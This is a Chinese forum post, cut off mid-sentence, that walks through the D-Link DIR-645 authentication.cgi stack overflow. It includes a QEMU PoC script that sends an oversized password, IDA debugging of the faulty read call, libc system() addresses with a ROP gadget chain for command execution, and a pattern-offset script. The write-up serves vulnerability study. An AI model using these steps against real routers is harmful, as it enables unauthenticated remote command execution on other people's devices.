首页
论坛
课程
招聘
[原创]D-Link DIR-645路由器栈溢出漏洞分析
2020-5-2 11:30 16202

[原创]D-Link DIR-645路由器栈溢出漏洞分析

2020-5-2 11:30
16202

目录

01-漏洞描述

  • https://www.exploit-db.com/exploits/33862

    1
    2
    3
    This module exploits an remote buffer overflow vulnerability on several D-Link routers.
    The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication.
    This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
  • 关键点:溢出漏洞、http请求、password字段、authentication.cgi

02-环境/工具

  • Ubuntu 18.04:目标系统,运行路由器固件
  • Windows 7 专业版:运行IDA作为远程调试机
  • IDA Pro:静态分析、远程动态调试
  • mips rop finder插件:搜索可用rop
  • binwalk:提取固件中的文件系统
  • firmadyne工具包:模拟路由器执行
  • 固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP
  • 《路由器0Day漏洞》一书中脚本:run_cgi.sh(poc)、patterLocOffset.py(确定偏移)、DIR645-f-V1.03.py(exp)

03-漏洞分析

  1. 用binwalk将固件中的文件系统提取出来,cd到squashfs目录,寻找存在漏洞的目标文件authentication.cgi,得知其是一个符号链接,真正的目标文件是cgibin

    image-20200501210401531

  2. 利用已有的poc来定位漏洞,使用的sh脚本如下,来自《路由器0Day漏洞》一书中run_cgi.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #!/bin/bash
     
    # 待执行命令
    # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
     
    INPUT="$1" # 参数1,uid=A21G&password=1160个A
    TEST="$2"    # 参数2,uid=A21G
    LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
    PORT="1234"    # 监听的调试端口
     
    # 用法错误则提示
    if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
    then
        echo -e "\nUsage: sudo $0 \n"
        exit 1
    fi
     
    # 复制qemu-mipsel-static到本目录并重命名,注意是static版本
    cp $(which qemu-mipsel-static) ./qemu
    echo $TEST
    # | 管道符:前者输出作为后者输入
    # chroot 将某目录设置为根目录(逻辑上的)
    echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi
    echo 'run ok'
    rm -f ./qemu    # 删除拷贝过来的执行文件
  3. 书中原有的poc运行失败

    • 去掉2>/dev/null,使其显示报错信息(2-标准报错信息
    • chroot: failed to run command ‘./qemu’: No such file or directory
    • https://blog.csdn.net/xieqianhua55/article/details/50749489
    • apt安装qemu-user-static,将cp中qemu-mipsel改为qemu-mipsel-static
    • 应该是因为chroot后,路径都变了,qemu的执行缺少依赖,改为静态即可
  4. Ubuntu中执行脚本,开启调试端口1234,等待远程调试机连接

    1
    sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
  5. Windows 7 中IDA打开cgibin,开启远程调试

    image-20200501213519103

  6. 因为漏洞文件与认证有关,故function子窗口中搜索“authentication“,试一下authenticatecgi_main函数,F2下断,F9运行至此

    image-20200501215521391

    image-20200501215835668

  7. 地址0040B028处,保存ra寄存器中的返回地址到内存

    image-20200501220555022

  8. F8单步,看什么时候内存中的返回地址被修改,来缩小范围,定位漏洞点;

  9. 执行read函数后,返回地址被覆盖,因此,可初步判定read为溢出点

    image-20200501222014031

  10. getenv函数获取http请求中CONTENT_LENGTH字段的值,即内容长度;

    随后atoi函数将字符串形式的长度值转为整型;

    read函数没有验证参数nbytes大小,将用户可控的输入内容放置大小固定的栈中局部变量,从而发生溢出!

    image-20200430105301118

    image-20200430105615046

04-漏洞利用

4.1-选择攻击途径

  1. 选择命令执行为该漏洞的攻击途径(除了利用system等函数来命令执行的方式,还有直接执行shellcode的方式)

  2. 目标文件cgibin会加载libc.so.0动态库,因此IDA中打开,在function子窗口中键入“system”,查得so动态库中system函数的地址为00053200

    注意:由于so文件是动态库,因此00053200只是一个相对偏移,加上libc.so.0动态库的加载基址0x2aaf8000才是最终的绝对地址,即2ab4b200

    (疑问:加载基址是怎么知道的?

    image-20200430155508963

  3. 光有函数的地址还不够,还要再找能够调用函数的指令。使用mips rop finder插件来寻找可用的gadgets序列

    image-20200430170533344

  4. 如上所示:jalr $t9会调用t9寄存器中的地址,而t9又来自s0,因此,只要将函数地址放置s0寄存器,便可以实现函数的调用;

    待调用函数的参数a0,其来自s5,又来自于sp,0x170+var_160=sp+10

    因此,将system函数地址放置s0,将待执行的命令放置sp+10,就可以实现任意命令的执行

4.2-确定偏移

  1. patterLocOffset.py,生成大量有序字符,确定偏移以实现精准定位

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    #!/usr/bin/env python
    #####################################################################################
    ## Create pattern strings & location offset
    ## Tested against Ubuntu 12.04 & Windows # #
    ##
    ## Example:
    ## C:\Users\Lenov\Desktop> patterLocOffset.py -c -l 260 -f output.txt
    ### [*] Create pattern string contains 260 characters ok!
    ### [+] output to output.txt ok!
    ##
    ## C:\Users\Lenov\Desktop> patternLocOffset.py -s 0x41613141 -l 260
    ### [*] Create pattern string contains 260 characters ok!
    ### [*] Exact match at offset 3
    #
    ## Nimdakey # 09-10-2013
    #####################################################################################
     
    import argparse
    import struct
    import binascii
    import string
    import time
    import sys
    import re
     
    a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    b = "abcdefghijklmnopqrstuvwxyz"
    c = "0123456789"
     
    def generate(count,output):
        #
        # pattern create
        codeStr = ''
        print '[*] Create pattern string contains %d characters'%count,
        timeStart = time.time()
        for i in range(0,count):
            codeStr += a[i/(26*10)]+b[(i%(26*10))/10]+c[i%(26*10)%10]
        print 'ok!'
        if output:
            print '[+] output to %s'%output,
            fw = open(output,'w')
            fw.write(codeStr)
            fw.close()
            print 'ok!'
        else:
            return codeStr
        print "[+] take time: %.4f s"%(time.time()-timeStart)
     
    def patternMatch(searchCode, length=1024):
        #
        # pattern search
        offset = 0
        pattern = None
     
        timeStart = time.time()
        is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
        isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
     
        if is0xHex:
            #0x41613141
            pattern = binascii.a2b_hex(searchCode[2:])
        elif isHex:
            #41613141
            pattern = binascii.a2b_hex(searchCode)
        else:
            print '[-] seach Pattern eg:0x41613141'
            sys.exit(1)
     
        source = generate(length,None)
        offset = source.find(pattern)
     
        if offset != -1:
            print "[*] Exact match at offset %d"%offset
        else:
            print "[*] No exact matches, looking for likely candidates..."
            reverse = list(pattern)
            reverse.reverse()
            pattern = "".join(reverse)
            offset = source.find(pattern)
            if offset != -1:
                print "[+] Possible match at offset %d (adjusted another-endian)"%offset
        print "[+] take time: %.4f s"%(time.time()-timeStart)
     
    def main():
        ## parse argument
        parser = argparse.ArgumentParser()
        parser.add_argument('-s', '--search', help='search for pattern')
        parser.add_argument('-c', '--create', help='create a pattern',\
                            action='store_true')
        parser.add_argument('-f', '--file', help='output file name',\
                            default='patternShell.txt')
        parser.add_argument('-l', '--length',help='length of pattern code',\
                            type=int,default=1024)
        #parser.add_argument('-v', dest='verbose', action='store_true')
        args = parser.parse_args()
     
        ## save all argument
        length = args.length
        output = args.file
        #verbose = args.verbose
        createCode = args.create
        searchCode = args.search
     
        if createCode and (0 < args.length <= 26*26*10):
            #eg:  -c -l 90
            generate(length,output)
        elif searchCode and (0 < args.length <= 26*26*10):
            #eg: -s 0x474230141
            patternMatch(searchCode,length)
        else:
            print '[-] You shoud chices from [-c -s]'
            print '[-] Pattern length must be less than 6760'
            print 'more help: pattern.py -h'
        # ...
     
    if __name__ == "__main__":
        main()
  2. 用上述py脚本创